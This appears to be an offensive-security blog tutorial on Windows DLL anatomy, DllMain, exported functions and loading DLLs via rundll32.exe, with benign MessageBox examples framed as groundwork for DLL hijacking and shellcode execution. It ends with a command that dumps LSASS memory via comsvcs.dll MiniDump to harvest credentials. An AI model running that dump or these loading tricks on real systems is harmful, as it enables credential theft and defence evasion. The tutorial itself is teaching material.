DLL
A DLL, or Dynamic Link Library
, is a file that contains code and data that can be used by multiple programs simultaneously. DLLs are an essential part of Windows operating systems and software applications. They allow developers to modularize applications, leading to better memory management, code reuse, and easier maintenance.
Unlike static libraries, which are included in the final executable file, DLLs are separate files that a program links to at runtime. This means that multiple applications can share the same code base without having to include it directly in each executable, saving space and memory.
Many Windows functions are contained in DLLs like kernel32.dll
, user32.dll
, and gdi32.dll
. While DLLs are predominantly used in Windows, similar concepts exist in other operating systems, .so
in Unix/Linux systems and .dylib
in macOS systems.
DLL Anatomy
When you try to create your first DLL for Windows environment, you need to understand the below basic structure.
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
BOOL APIENTRY DllMain(
HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Whenever a DLL is being dynamically used with a code, it is being processed by the loaders. If a code loads/unloads a DLL or if it tries to attach it with another process/thread, it has to cross the DllMain
of the target DLL. It is like the main()
function of our C code. If the DLL is successfully loaded/unloaded it returns BOOL
value.
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
The APIENTRY
is nothing but a type cast convention to represent it as a Windows API. All the Windows API and APIENTRY
will be the type of __stdcall
. So DLLs behave similar to the way of Windows APIs in allocating their variable and handling in memory.
#elif (_MSC_VER >= 800) || defined(_STDCALL_SUPPORTED)
#define CALLBACK __stdcall
#define WINAPI __stdcall
#define WINAPIV __cdecl
#define APIENTRY WINAPI
#define APIPRIVATE __stdcall
#define PASCAL __stdcall
DWORD ul_reason_for_call
parameter (DWORD 32bit) indicates why DllMain is being called, using one of four predefined constants. These constants allow the function to differentiate between different events:
-
DLL_PROCESS_ATTACH: This indicates that the DLL is being loaded into the virtual address space of the current process because of a process start or a call to LoadLibrary. This is typically the time to perform any necessary initialization that needs to happen once per process.
-
DLL_THREAD_ATTACH: This indicates that a new thread is being created within the current process. This happens after DLL_PROCESS_ATTACH, and it's called each time a thread is created. If the DLL needs to allocate thread-specific data, this is the place to do it.
-
DLL_THREAD_DETACH: This indicates that a thread is exiting cleanly. It is a good place to clean up any thread-specific data that was allocated in DLL_THREAD_ATTACH.
-
DLL_PROCESS_DETACH: This indicates that the DLL is being unloaded from the virtual address space of the process because the process is terminating or because the DLL has been explicitly unloaded using FreeLibrary. This is where you should perform cleanup that needs to happen once per process, such as releasing resources, closing handles, etc.
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Code to run when the DLL is loaded by a process
break;
case DLL_THREAD_ATTACH:
// Code to run when a new thread is created within the process
break;
case DLL_THREAD_DETACH:
// Code to run when a thread exits cleanly
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is unloaded from the process
break;
}
There are no other scenarios to process the DLL entry point. Only these 4 will be used and a return value of BOOL TRUE
will be passed when all the scenarios are met. If it returns FALSE
it will not be loaded/executed.
The HMODULE hModule
represents the base address where the DLL is loaded in memory and it is the handle of the module (current DLL itself). And LPVOID lpReserved
is pointer (void*
) used to describe how the DLL is used to load into the memory.
When the DLL is loaded using DLL_PROCESS_ATTACH
context, if the value of lpReserved
is NULL
it represent that the DLL was loaded explictly (Eg: By using LoadLibrary()
etc) into the memory. If it is not NULL
, then it was loaded as a dependency of another module being loaded into the process. During the DLL_PROCESS_DETACH
context, if the lpReserved
value is NULL
then the DLL was unloaded normaly (Eg: Using FreeLibrary()
etc). If it is not NULL
, then it was unloaded through unhandled way.
rundll32.exe
Before we craft our first DLL, I want you to go through this wonderful binary. rundll32.exe
is a Microsoft digitally signed native binary present in all Windows operating systems. This is primarily used to load DLL files and their exported objects. This executable can be easily found in C:\Windows\System32\rundll32.exe
or C:\Windows\SysWOW64\rundll32.exe
Verifying its Digital Signature with sigcheck.exe
from SysInternals Suite,
C:\Users\aidenpearce369>sigcheck C:\Windows\System32\rundll32.exe
Sigcheck v2.90 - File version and signature viewer
Copyright (C) 2004-2022 Mark Russinovich
Sysinternals - www.sysinternals.com
c:\windows\system32\rundll32.exe:
Verified: Signed
Signing date: 12:39 02-07-2024
Publisher: Microsoft Windows
Company: Microsoft Corporation
Description: Windows host process (Rundll32)
Product: Microsoft« Windows« Operating System
Prod version: 10.0.19041.4648
File version: 10.0.19041.4648 (WinBuild.160101.0800)
MachineType: 64-bit
From a threat actor perspective, this rundll32.exe
can be abused in a lot of ways. It opens a gateway in executing shellcode from a legitimate executable to bypassing AppLocker restricitons, Policy restrictions etc. In lay man terms, it acts like a proxy to execute malicous code in a legitimate way.
Creating our first DLL
Lets start creating our first DLL by exporting a function from it, instead of using those above 4 scenarios. That's right, like a normal program we can have our own exports from our DLL and we can used it laterally anywhere.
extern "C" __declspec(dllexport)
The above is the syntax to be used inside a DLL to declare export functions via C linker.
Let's craft a DLL to pop a Message Box via its exported function.
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) VOID aidenExported(int a)
{
MessageBoxA(NULL, "OFFSEC@AIDEN", "0x1337", 0);
}
Now after compiling the DLL, when you see the exported functions via dumpbin.exe
you should find our exported entry point of the DLL.
G:\RedTeamProjects\DLLCreation\x64\Debug>dumpbin DLLCreation.dll /exports
Microsoft (R) COFF/PE Dumper Version 14.40.33808.0
Copyright (C) Microsoft Corporation. All rights reserved.
Dump of file DLLCreation.dll
File Type: DLL
Section contains the following exports for DLLCreation.dll
00000000 characteristics
FFFFFFFF time date stamp
0.00 version
1 ordinal base
1 number of functions
1 number of names
ordinal hint RVA name
1 0 0001125D aidenExported = @ILT+600(aidenExported)
Summary
1000 .00cfg
1000 .data
1000 .idata
1000 .msvcjmc
3000 .pdata
3000 .rdata
1000 .reloc
1000 .rsrc
8000 .text
10000 .textbss
Lets try to run this via rundll32.exe
by pointing the exported entry point,
So if we just land our malicious DLLs somehow, We can just use it to run our shellcodes by crafting our custom exported entry points.
Attaching DLLs
Now lets craft a DLL which would execute our own code, when it is used in any other process.
#include "pch.h"
#include "Windows.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "You are injected Bro :-/", "0x1337", 0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) VOID aidenExported(int a)
{
MessageBoxA(NULL, "OFFSEC@AIDEN", "0x1337", 0);
}
Compiling it in the same environment where it will be intended to execute.
G:\RedTeamProjects\DLLCreation\DLLCreation>cl /LD dllmain.cpp /Fetest.dll /link /subsystem:windows user32.lib
Microsoft (R) C/C++ Optimizing Compiler Version 19.29.30154 for x64
Copyright (C) Microsoft Corporation. All rights reserved.
dllmain.cpp
Microsoft (R) Incremental Linker Version 14.29.30154.0
Copyright (C) Microsoft Corporation. All rights reserved.
/dll
/implib:test.lib
/out:test.dll
/subsystem:windows
user32.lib
dllmain.obj
Creating library test.lib and object test.exp
Now we have our own malicious DLL to pop a MessageBox
when it is attached to a process.
The below code loads the DLL from the path and pops a message box, since we have defined it to execute it from the DLL whenever it is being attached to a process.
#include <windows.h>
#include <stdio.h>
int main() {
// Path to the DLL
const char* dllPath = "test.dll";
printf("[+] Loading DLL %s.\n",dllPath);
// Load the DLL into process
HMODULE hDll = LoadLibraryA(dllPath);
if (hDll == NULL) {
printf("Error: Could not load the DLL. Error code: %lu\n", GetLastError());
return 1;
}
printf("[+] DLL loaded successfully.\n");
// Unload the DLL
if (!FreeLibrary(hDll)) {
printf("Error: Could not free the DLL. Error code: %lu\n", GetLastError());
}
else {
printf("[+] DLL unloaded successfully.\n");
}
return 0;
}
After compiling this we should get an executable. Whenever you try to run the executable, it will search for the test.dll
in its path. If not found it will throw an error. If it is found, it will load it in the process and our malicious code gets executed. This is a fundamental basic of DLL Hijacking
(will be explained in later blog post).
Bonus Tip
Tried of dumping LSASS
process with Mimikatz
. You can use rundll32.exe
to leverage the power of C:\windows\System32\comsvcs.dll
to perform a mini dump and export it to your own machine.
comsvcs.dll
is a crucial system DLL in Windows operating systems that plays a vital role in managing and supporting COM+ (Component Object Model Plus)
applications and services. It is a key component for enabling the functionality and management of distributed applications and services in a Windows environment. By feature, this DLL allows us to take a dump of the service process.
PS G:\RedTeamProjects\DLLCreation\LSASS_Dump> rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 984 ./lsass.dmp full
PS G:\RedTeamProjects\DLLCreation\LSASS_Dump> ls
Directory: G:\RedTeamProjects\DLLCreation\LSASS_Dump
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 31-07-2024 23:59 88828331 lsass.dmp
But this would be effective if any defender products are not active, else it will be logged and stopped.